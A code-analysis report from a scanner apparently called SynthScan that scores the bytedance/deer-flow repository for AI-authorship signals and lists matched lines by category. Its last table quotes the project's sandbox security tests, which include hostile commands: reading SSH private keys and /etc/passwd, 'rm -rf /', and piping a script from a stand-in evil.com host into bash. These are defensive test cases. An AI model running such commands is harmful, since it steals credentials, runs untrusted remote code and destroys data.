Repository Analysis

bytedance/deer-flow

An open-source long-horizon SuperAgent harness that researches, codes, and creates. With the help of sandboxes, memories, tools, skill, subagents and message gateway, it handles different levels of tasks that could take minutes to hours.

38.6 Strong AI signal View on GitHub

Analysis Overview

This report presents the forensic synthetic code analysis of bytedance/deer-flow, a Python project with 76,972 GitHub stars. SynthScan v2.0 examined 407,361 lines of code across 1644 source files, recording 11459 pattern matches distributed across 25 syntactic categories. The overall adjusted score of 38.6 places this repository in the Strong AI signal band.

The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).

38.6
Adjusted Score
38.6
Raw Score
100%
Time Factor
2026-07-14
Last Push
77.0K
Stars
Python
Language
407.4K
Lines of Code
1.6K
Files
11.5K
Pattern Hits
2026-07-14
Scan Date
0.07
HC Hit Rate

What These Metrics Mean

Adjusted Score
Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score
The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor
The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits
Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate
High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files
Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 1HIGH 106MEDIUM 1770LOW 9582

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 11459 distinct pattern matches across 25 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hyper-Verbose Identifiers7268 hits · 6724 pts
SeverityFileLineSnippetContext
LOW…tests/unit/core/voice-input/speech-recognition.test.ts98function makeSpeechRecognitionConstructor(): SpeechRecognitionConstructor {CODE
LOWfrontend/tests/unit/hooks/use-global-shortcuts.test.ts5async function loadHookWithCapturedHandler() {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts71async function clickSelectionToolbarButton(page: Page, label: string) {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts89async function selectTextAndClickToolbarButton(CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts108async function expectSidecarSelectionToolbarActions(page: Page, text: string) {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts134async function expectComposerHeightsEqual(page: Page) {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts163async function expectSidecarModelPinnedToSubmit(page: Page) {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts239async function expectSidecarModelHiddenWhenCompact(page: Page) {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts289async function expectSidecarScrollDoesNotAnimateAfterOpen(page: Page) {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts325async function openSidecarAndExpectNoAnimatedScroll(page: Page) {CODE
LOWfrontend/src/core/clipboard.ts76async function readPlainTextFromClipboardItem(CODE
LOWfrontend/src/core/clipboard.ts103function canDefineNavigatorClipboard(CODE
LOWfrontend/src/core/workspace-changes/summary.ts14export function getWorkspaceChangeBadgeLabel(summary: WorkspaceChangeSummary) {CODE
LOWfrontend/src/core/workspace-changes/summary.ts19export function getWorkspaceChangeLineClass(CODE
LOWfrontend/src/core/settings/store.ts41function ensureStorageListenerRegistered() {CODE
LOWfrontend/src/core/artifacts/loader.ts27export function loadArtifactContentFromToolCall({CODE
LOWfrontend/src/core/artifacts/utils.ts27export function extractArtifactsFromThread(thread: {CODE
LOWfrontend/src/core/artifacts/preview.ts81export function buildWriteFileDraftContent({CODE
LOWfrontend/src/core/artifacts/preview.ts167export function appendHtmlPreviewBaseHref(CODE
LOWfrontend/src/core/artifacts/preview.ts199export function createHtmlPreviewScrollKey(value: string) {CODE
LOWfrontend/src/core/artifacts/preview.ts215function htmlScrollRestorationScript(messageKey: string) {CODE
LOWfrontend/src/core/artifacts/preview.ts258export function appendHtmlPreviewScrollRestoration(CODE
LOWfrontend/src/core/tasks/subtask-result.ts198export function derivePendingSubtaskStatus(CODE
LOWfrontend/src/core/tasks/subtask-result.ts232function hasStructuredSubagentMetadata(CODE
LOWfrontend/src/core/tasks/subtask-result.ts241function readStructuredResultBrief(CODE
LOWfrontend/src/core/messages/usage-model.ts88export function tokenUsagePreferencesFromPreset(CODE
LOWfrontend/src/core/messages/usage-model.ts212function buildActionLabelsFromAttribution(CODE
LOWfrontend/src/core/messages/usage-model.ts221function describeAttributionAction(CODE
LOWfrontend/src/core/messages/usage-model.ts307function normalizeTokenUsageAttribution(CODE
LOWfrontend/src/core/messages/usage-model.ts345function normalizeTokenUsageAttributionAction(CODE
LOWfrontend/src/core/messages/usage-model.ts430function isTokenUsageAttributionKind(CODE
LOWfrontend/src/core/messages/human-input.ts52export function shouldClearPendingHumanInputOnThreadError({CODE
LOWfrontend/src/core/messages/human-input.ts233export function extractHumanInputResponse(CODE
LOWfrontend/src/core/messages/human-input.ts246export function deriveHumanInputThreadState(CODE
LOWfrontend/src/core/messages/human-input.ts292export function createHumanInputOptionResponse(CODE
LOWfrontend/src/core/messages/human-input.ts307export function createHumanInputTextResponse(CODE
LOWfrontend/src/core/messages/human-input.ts321export function buildHumanInputResponseText(CODE
LOWfrontend/src/core/messages/utils.ts157export function getBranchableAssistantGroupIds(CODE
LOWfrontend/src/core/messages/utils.ts203export function getAssistantTurnUsageMessages(groups: MessageGroup[]) {CODE
LOWfrontend/src/core/messages/utils.ts247export function getStreamingMessageLookup(CODE
LOWfrontend/src/core/messages/utils.ts279export function isAssistantMessageGroupStreaming(CODE
LOWfrontend/src/core/messages/utils.ts390function splitInlineReasoningFromAIMessage(message: Message) {CODE
LOWfrontend/src/core/messages/utils.ts397export function extractContentFromMessage(message: Message) {CODE
LOWfrontend/src/core/messages/utils.ts426export function extractReasoningContentFromMessage(message: Message) {CODE
LOWfrontend/src/core/messages/utils.ts448export function removeReasoningContentFromMessage(message: Message) {CODE
LOWfrontend/src/core/messages/utils.ts455export function extractURLFromImageURLContent(CODE
LOWfrontend/src/core/messages/utils.ts514export function isClarificationToolMessage(message: Message) {CODE
LOWfrontend/src/core/messages/utils.ts518export function extractPresentFilesFromMessage(message: Message) {CODE
LOWfrontend/src/core/scheduled-tasks/api.ts22export async function fetchThreadScheduledTasks(CODE
LOWfrontend/src/core/auth/auth-disabled-user.ts13function isExplicitProductionEnvironment() {CODE
LOWfrontend/src/core/auth/setup.ts28export function isSystemAlreadyInitializedError(data: unknown): boolean {CODE
LOWfrontend/src/core/agents/feature-cache.ts16export function readCachedAgentsApiEnabled(): boolean | undefined {CODE
LOWfrontend/src/core/agents/feature-cache.ts28export function writeCachedAgentsApiEnabled(value: boolean): void {CODE
LOWfrontend/src/core/agents/api.ts34function isAgentsApiDisabledDetail(detail: string | undefined): boolean {CODE
LOWfrontend/src/core/uploads/file-validation.ts18export function splitUnsupportedUploadFiles(fileList: File[] | FileList) {CODE
LOWfrontend/src/core/uploads/prompt-input-files.ts8export async function promptInputFilePartToFile(CODE
LOWfrontend/src/core/utils/files.tsx200export function getFileExtensionDisplayName(filepath: string) {CODE
LOWfrontend/src/core/blog/index.ts119function collectLocalizedBlogPosts(CODE
LOWfrontend/src/core/threads/thread-search-query.ts31export function shouldIncludeSidecarThreads(params: ThreadSearchFilterParams) {CODE
LOWfrontend/src/core/threads/thread-search-query.ts41export function filterThreadSearchResults(CODE
7208 more matches not shown…
Decorative Section Separators1596 hits · 5719 pts
SeverityFileLineSnippetContext
MEDIUMconfig.example.yaml13# ============================================================================COMMENT
MEDIUMconfig.example.yaml15# ============================================================================COMMENT
MEDIUMconfig.example.yaml20# ============================================================================COMMENT
MEDIUMconfig.example.yaml22# ============================================================================COMMENT
MEDIUMconfig.example.yaml33# ============================================================================COMMENT
MEDIUMconfig.example.yaml35# ============================================================================COMMENT
MEDIUMconfig.example.yaml41# ============================================================================COMMENT
MEDIUMconfig.example.yaml43# ============================================================================COMMENT
MEDIUMconfig.example.yaml50# ============================================================================COMMENT
MEDIUMconfig.example.yaml52# ============================================================================COMMENT
MEDIUMconfig.example.yaml65# ============================================================================COMMENT
MEDIUMconfig.example.yaml67# ============================================================================COMMENT
MEDIUMconfig.example.yaml77# ============================================================================COMMENT
MEDIUMconfig.example.yaml79# ============================================================================COMMENT
MEDIUMconfig.example.yaml624# ============================================================================COMMENT
MEDIUMconfig.example.yaml626# ============================================================================COMMENT
MEDIUMconfig.example.yaml635# ============================================================================COMMENT
MEDIUMconfig.example.yaml637# ============================================================================COMMENT
MEDIUMconfig.example.yaml932# ============================================================================COMMENT
MEDIUMconfig.example.yaml934# ============================================================================COMMENT
MEDIUMconfig.example.yaml960# ============================================================================COMMENT
MEDIUMconfig.example.yaml962# ============================================================================COMMENT
MEDIUMconfig.example.yaml970# ============================================================================COMMENT
MEDIUMconfig.example.yaml972# ============================================================================COMMENT
MEDIUMconfig.example.yaml1032# ============================================================================COMMENT
MEDIUMconfig.example.yaml1034# ============================================================================COMMENT
MEDIUMconfig.example.yaml1043# ============================================================================COMMENT
MEDIUMconfig.example.yaml1045# ============================================================================COMMENT
MEDIUMconfig.example.yaml1359# ============================================================================COMMENT
MEDIUMconfig.example.yaml1361# ============================================================================COMMENT
MEDIUMconfig.example.yaml1375# ============================================================================COMMENT
MEDIUMconfig.example.yaml1377# ============================================================================COMMENT
MEDIUMconfig.example.yaml1386# ============================================================================COMMENT
MEDIUMconfig.example.yaml1388# ============================================================================COMMENT
MEDIUMconfig.example.yaml1533# ============================================================================COMMENT
MEDIUMconfig.example.yaml1535# ============================================================================COMMENT
MEDIUMconfig.example.yaml1541# ============================================================================COMMENT
MEDIUMconfig.example.yaml1543# ============================================================================COMMENT
MEDIUMconfig.example.yaml1549# ============================================================================COMMENT
MEDIUMconfig.example.yaml1551# ============================================================================COMMENT
MEDIUMconfig.example.yaml1881# ============================================================================COMMENT
MEDIUMconfig.example.yaml1883# ============================================================================COMMENT
MEDIUMconfig.example.yaml1916# ============================================================================COMMENT
MEDIUMconfig.example.yaml1918# ============================================================================COMMENT
MEDIUMconfig.example.yaml916# ============================================================================COMMENT
MEDIUMconfig.example.yaml918# ============================================================================COMMENT
MEDIUMconfig.example.yaml984# ============================================================================COMMENT
MEDIUMconfig.example.yaml986# ============================================================================COMMENT
MEDIUMconfig.example.yaml1007# ============================================================================COMMENT
MEDIUMconfig.example.yaml1009# ============================================================================COMMENT
MEDIUMconfig.example.yaml1078# ============================================================================COMMENT
MEDIUMconfig.example.yaml1080# ============================================================================COMMENT
MEDIUMconfig.example.yaml1230# ============================================================================COMMENT
MEDIUMconfig.example.yaml1232# ============================================================================COMMENT
MEDIUMconfig.example.yaml1307# ============================================================================COMMENT
MEDIUMconfig.example.yaml1309# ============================================================================COMMENT
MEDIUMconfig.example.yaml1335# ============================================================================COMMENT
MEDIUMconfig.example.yaml1337# ============================================================================COMMENT
MEDIUMconfig.example.yaml1448# ============================================================================COMMENT
MEDIUMconfig.example.yaml1450# ============================================================================COMMENT
1536 more matches not shown…
Unused Imports770 hits · 727 pts
SeverityFileLineSnippetContext
LOWdocker/provisioner/app.py30CODE
LOWbackend/sitecustomize.py8CODE
LOWbackend/app/scheduler/service.py1CODE
LOWbackend/app/scheduler/__init__.py1CODE
LOWbackend/app/gateway/deps.py18CODE
LOWbackend/app/gateway/services.py8CODE
LOWbackend/app/gateway/__init__.py1CODE
LOWbackend/app/gateway/__init__.py1CODE
LOWbackend/app/gateway/auth_disabled.py3CODE
LOWbackend/app/gateway/internal_auth.py3CODE
LOWbackend/app/gateway/pagination.py3CODE
LOWbackend/app/gateway/authz.py30CODE
LOWbackend/app/gateway/trace_middleware.py3CODE
LOWbackend/app/gateway/routers/thread_runs.py12CODE
LOWbackend/app/gateway/routers/scheduled_tasks.py1CODE
LOWbackend/app/gateway/routers/feedback.py7CODE
LOWbackend/app/gateway/routers/channel_connections.py3CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/assistants_compat.py10CODE
LOWbackend/app/gateway/routers/threads.py13CODE
LOWbackend/app/gateway/routers/channels.py3CODE
LOWbackend/app/gateway/routers/github_webhooks.py26CODE
LOWbackend/app/gateway/routers/runs.py8CODE
LOWbackend/app/gateway/auth/oidc.py7CODE
LOWbackend/app/gateway/auth/oidc_state.py8CODE
LOWbackend/app/gateway/auth/__init__.py9CODE
LOWbackend/app/gateway/auth/__init__.py9CODE
LOWbackend/app/gateway/auth/__init__.py9CODE
LOWbackend/app/gateway/auth/__init__.py10CODE
LOWbackend/app/gateway/auth/__init__.py10CODE
LOWbackend/app/gateway/auth/__init__.py10CODE
LOWbackend/app/gateway/auth/__init__.py11CODE
LOWbackend/app/gateway/auth/__init__.py11CODE
LOWbackend/app/gateway/auth/__init__.py11CODE
LOWbackend/app/gateway/auth/__init__.py12CODE
LOWbackend/app/gateway/auth/__init__.py13CODE
LOWbackend/app/gateway/auth/__init__.py13CODE
LOWbackend/app/gateway/auth/__init__.py14CODE
LOWbackend/app/gateway/auth/__init__.py14CODE
LOWbackend/app/gateway/auth/__init__.py15CODE
LOWbackend/app/gateway/auth/__init__.py16CODE
LOWbackend/app/gateway/auth/providers.py24CODE
LOWbackend/app/gateway/auth/credential_file.py11CODE
LOWbackend/app/gateway/auth/reset_admin.py12CODE
LOWbackend/app/gateway/auth/user_provisioning.py9CODE
LOWbackend/app/gateway/auth/repositories/sqlite.py13CODE
LOWbackend/app/gateway/github/dispatcher.py24CODE
LOWbackend/app/gateway/github/triggers.py29CODE
LOWbackend/app/gateway/github/registry.py26CODE
LOWbackend/app/gateway/github/app_auth.py21CODE
710 more matches not shown…
Excessive Try-Catch Wrapping623 hits · 610 pts
SeverityFileLineSnippetContext
LOWdocker/provisioner/app.py131 except Exception as exc:CODE
LOWdocker/provisioner/app.py137 except Exception as exc:CODE
LOWbackend/debug.py89 except Exception as e:CODE
LOWbackend/debug.py160 except Exception as e:CODE
LOWbackend/app/scheduler/service.py176 except Exception as exc:CODE
LOWbackend/app/scheduler/service.py311 except Exception:CODE
LOWbackend/app/scheduler/service.py320 except Exception:CODE
LOWbackend/app/scheduler/service.py336 except Exception:CODE
LOWbackend/app/gateway/deps.py107 except Exception:CODE
LOWbackend/app/gateway/deps.py110 except Exception:CODE
LOWbackend/app/gateway/deps.py128 except Exception:CODE
LOWbackend/app/gateway/deps.py132 except Exception:CODE
LOWbackend/app/gateway/deps.py148 except Exception:CODE
LOWbackend/app/gateway/deps.py175 except Exception:CODE
LOWbackend/app/gateway/deps.py182 except Exception:CODE
LOWbackend/app/gateway/deps.py217 except Exception as exc: # noqa: BLE001 - request boundary: log and degrade gracefullyCODE
LOWbackend/app/gateway/services.py95 except Exception:CODE
LOWbackend/app/gateway/services.py291 except Exception:CODE
LOWbackend/app/gateway/services.py372 except Exception:CODE
LOWbackend/app/gateway/services.py546 except Exception as exc:CODE
LOWbackend/app/gateway/services.py673 except Exception:CODE
LOWbackend/app/gateway/app.py129 except Exception:CODE
LOWbackend/app/gateway/app.py186 except Exception as e:CODE
LOWbackend/app/gateway/app.py200 except Exception: # observability must never break startupCODE
LOWbackend/app/gateway/app.py225 except Exception:CODE
LOWbackend/app/gateway/app.py232 except Exception:CODE
LOWbackend/app/gateway/app.py249 except Exception:CODE
LOWbackend/app/gateway/app.py268 except Exception:CODE
LOWbackend/app/gateway/app.py275 except Exception:CODE
LOWbackend/app/gateway/app.py291 except Exception:CODE
LOWbackend/app/gateway/app.py297 except Exception:CODE
LOWbackend/app/gateway/routers/console.py165 except Exception: # pragma: no cover - defensive: cost display must not break the consoleCODE
LOWbackend/app/gateway/routers/console.py317 except Exception: # pragma: no cover - defensive: stats must not 500 on a bad agents dirCODE
LOWbackend/app/gateway/routers/suggestions.py51 except Exception:CODE
LOWbackend/app/gateway/routers/suggestions.py139 except Exception as exc:CODE
LOWbackend/app/gateway/routers/skills.py145 except Exception as e:CODE
LOWbackend/app/gateway/routers/skills.py182 except Exception as e:CODE
LOWbackend/app/gateway/routers/skills.py199 except Exception as e:CODE
LOWbackend/app/gateway/routers/skills.py221 except Exception as e:CODE
LOWbackend/app/gateway/routers/skills.py260 except Exception as e:CODE
LOWbackend/app/gateway/routers/skills.py289 except Exception as e:CODE
LOWbackend/app/gateway/routers/skills.py305 except Exception as e:CODE
LOWbackend/app/gateway/routers/skills.py354 except Exception as e:CODE
LOWbackend/app/gateway/routers/skills.py377 except Exception as e:CODE
LOWbackend/app/gateway/routers/skills.py470 except Exception as e:CODE
LOWbackend/app/gateway/routers/thread_runs.py52 except Exception:CODE
LOWbackend/app/gateway/routers/thread_runs.py383 except Exception as exc:CODE
LOWbackend/app/gateway/routers/thread_runs.py419 except Exception as exc:CODE
LOWbackend/app/gateway/routers/thread_runs.py533 except Exception:CODE
LOWbackend/app/gateway/routers/channel_connections.py239 except Exception:CODE
LOWbackend/app/gateway/routers/channel_connections.py248 except Exception:CODE
LOWbackend/app/gateway/routers/channel_connections.py481 except Exception:CODE
LOWbackend/app/gateway/routers/channel_connections.py494 except Exception:CODE
LOWbackend/app/gateway/routers/channel_connections.py270 except Exception:CODE
LOWbackend/app/gateway/routers/channel_connections.py284 except Exception:CODE
LOWbackend/app/gateway/routers/agents.py125 except Exception as e:CODE
LOWbackend/app/gateway/routers/agents.py187 except Exception as e:CODE
LOWbackend/app/gateway/routers/agents.py255 except Exception:CODE
LOWbackend/app/gateway/routers/agents.py263 except Exception as e:CODE
LOWbackend/app/gateway/routers/agents.py365 except Exception as e:CODE
563 more matches not shown…
Modern Structural Boilerplate288 hits · 300 pts
SeverityFileLineSnippetContext
LOWdocker/provisioner/app.py49logger = logging.getLogger(__name__)CODE
LOWbackend/debug.py37def _setup_logging(log_level: int = logging.INFO) -> None:CODE
LOWbackend/app/scheduler/service.py15logger = logging.getLogger(__name__)CODE
LOWbackend/app/scheduler/__init__.py3__all__ = ["ScheduledTaskService"]CODE
LOWbackend/app/gateway/deps.py36logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/services.py51logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/__init__.py3__all__ = ["app", "create_app", "GatewayConfig", "get_gateway_config"]CODE
LOWbackend/app/gateway/auth_disabled.py22logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/app.py53logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/trace_middleware.py14logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/auth.py39logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/auth.py152def _set_session_cookie(response: Response, token: str, request: Request) -> None:CODE
LOWbackend/app/gateway/routers/auth.py552def _set_csrf_cookie(response: Response, request: Request) -> None:CODE
LOWbackend/app/gateway/routers/console.py31logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/suggestions.py13logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/skills.py28logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/thread_runs.py33logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/feedback.py18logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/channel_connections.py25logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/__init__.py15__all__ = [CODE
LOWbackend/app/gateway/routers/agents.py17logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/assistants_compat.py19logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/threads.py51logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/mcp.py15logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/channels.py12logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/artifacts.py16logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/uploads.py39logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/github_webhooks.py39logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/runs.py23logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/input_polish.py12logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/auth/local_provider.py10logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/auth/oidc.py20logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/auth/config.py9logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/auth/config.py82def set_auth_config(config: AuthConfig) -> None:CODE
LOWbackend/app/gateway/auth/oidc_state.py90def set_state_cookie(response: Response, request: Request, payload: OIDCStatePayload) -> None:CODE
LOWbackend/app/gateway/auth/__init__.py18__all__ = [CODE
LOWbackend/app/gateway/auth/user_provisioning.py19logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/github/dispatcher.py37logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/github/registry.py42logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/github/app_auth.py33logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/github/run_policy.py22logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/store.py13logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/service.py16logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/message_bus.py14logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/dingtalk.py21logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/telegram.py15logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/discord.py18logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/__init__.py11__all__ = [CODE
LOWbackend/app/channels/wechat.py30logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/wechat.py838 def _update_longpoll_timeout(self, data: Mapping[str, Any]) -> None:CODE
LOWbackend/app/channels/feishu.py29logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/feishu.py519 async def _update_card(self, message_id: str, text: str) -> None:CODE
LOWbackend/app/channels/github.py39logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/manager.py47logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/manager.py1472 async def _update_thread_channel_metadata(self, client, msg: InboundMessage, thread_id: str) -> None:CODE
LOWbackend/app/channels/base.py15logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/runtime_config_store.py12logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/runtime_config_store.py79 def set_provider_config(self, provider: str, config: dict[str, Any]) -> None:CODE
LOWbackend/app/channels/runtime_config_store.py84 def set_provider_disconnected(self, provider: str) -> None:CODE
LOWbackend/app/channels/slack.py16logger = logging.getLogger(__name__)CODE
228 more matches not shown…
Cross-Language Confusion46 hits · 271 pts
SeverityFileLineSnippetContext
HIGHbackend/debug.py10 cd backend && PYTHONPATH=. uv run python debug.pySTRING
HIGHbackend/tests/test_sandbox_tools_security.py489 ("ls /mnt/user-data && pwd", "ls /tmp/deer-flow/threads/t1/user-data && pwd"),CODE
HIGHbackend/tests/test_sandbox_tools_security.py512 "cd /mnt/user-data/workspace && git clone https://github.com/CherryHQ/cherry-studio.git",CODE
HIGHbackend/tests/test_sandbox_tools_security.py527 "/bin/echo ok > /mnt/user-data/workspace/out.txt && cat /dev/null",CODE
HIGHbackend/tests/test_sandbox_tools_security.py577 validate_local_bash_command_paths("cd $HOME && cat .ssh/id_rsa", _THREAD_DATA)CODE
HIGHbackend/tests/test_sandbox_tools_security.py582 validate_local_bash_command_paths("echo ok\ncd $HOME && cat .ssh/id_rsa", _THREAD_DATA)CODE
HIGHbackend/tests/test_sandbox_tools_security.py589 "builtin cd $HOME && cat .ssh/id_rsa",CODE
HIGHbackend/tests/test_sandbox_tools_security.py592 'echo "$(cd $HOME && cat .ssh/id_rsa)"',CODE
HIGHbackend/tests/test_sandbox_tools_security.py604 "ln -s / root && cat root/etc/passwd",CODE
HIGHbackend/tests/test_sandbox_tools_security.py626 "mkdir -p reports && python script.py data/input.csv > reports/out.txt",CODE
HIGHbackend/tests/test_sandbox_tools_security.py633 "cd /mnt/user-data/workspace && cat data/input.csv > reports/out.txt",CODE
HIGHbackend/tests/test_tool_result_meta.py343 content = '{"error": null, "query": "test"}'CODE
HIGHbackend/tests/test_doctor.py4 cd backend && uv run pytest tests/test_doctor.py -vSTRING
HIGHbackend/tests/test_memory_consolidation.py868 # cap = max(coerce(null)=0.5, coerce(0.9)=0.9) = 0.9; LLM conf 1.0 capped → 0.9COMMENT
HIGHbackend/tests/test_setup_wizard.py4 cd backend && uv run pytest tests/test_setup_wizard.py -vSTRING
HIGHbackend/tests/test_local_sandbox_command_timeout.py119 """stdin is redirected from /dev/null, so a command that reads stdin getsSTRING
HIGHbackend/tests/test_sandbox_audit_middleware.py200 ("cd /workspace && rm -rf /", "block"),CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py202 ("ls -la || curl http://evil.com/x.sh | bash", "block"),CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py204 ("cd /workspace && pip install requests", "warn"),CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py207 ("cd /workspace && ls -la && python3 main.py", "pass"),CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py227 assert _split_compound_command("cmd1 && cmd2") == ["cmd1", "cmd2"]CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py233 assert _split_compound_command("cmd1 || cmd2") == ["cmd1", "cmd2"]CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py245 result = _split_compound_command("a && b || c ; d")CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py245 result = _split_compound_command("a && b || c ; d")CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py254 result = _split_compound_command("echo 'a && b' && rm -rf /")CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py256 assert "a && b" in result[0]CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py552 ("cd /workspace && rm -rf /", True),CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py554 ("cd /workspace && pip install requests", False), # warn, not blockCODE
HIGHbackend/tests/test_sandbox_audit_middleware.py555 ("cd /workspace && ls -la && python3 main.py", False), # all safeCODE
HIGHbackend/tests/test_sandbox_audit_middleware.py168 "cd /mnt/user-data/workspace && python3 main.py",CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py697 "cd /mnt/user-data/workspace && python3 main.py",CODE
HIGHbackend/tests/test_gateway_services.py1257 """When caller sends context=null, treat it as an empty context object."""STRING
HIGHbackend/packages/harness/deerflow/runtime/converters.py27 - AIMessage (with tool_calls) → {"role": "assistant", "content": null, "tool_calls": [...]}STRING
HIGH…ckages/harness/deerflow/runtime/stream_bridge/redis.py24 " cd backend && uv sync --all-packages --extra redis\n"CODE
HIGH…end/packages/harness/deerflow/agents/memory/updater.py104 arithmetic and crash max(). This helper guards against null, bool, non-numeric,STRING
HIGH…eerflow/agents/middlewares/sandbox_audit_middleware.py172 2. Then split compound commands (e.g. ``cmd1 && cmd2 ; cmd3``) andSTRING
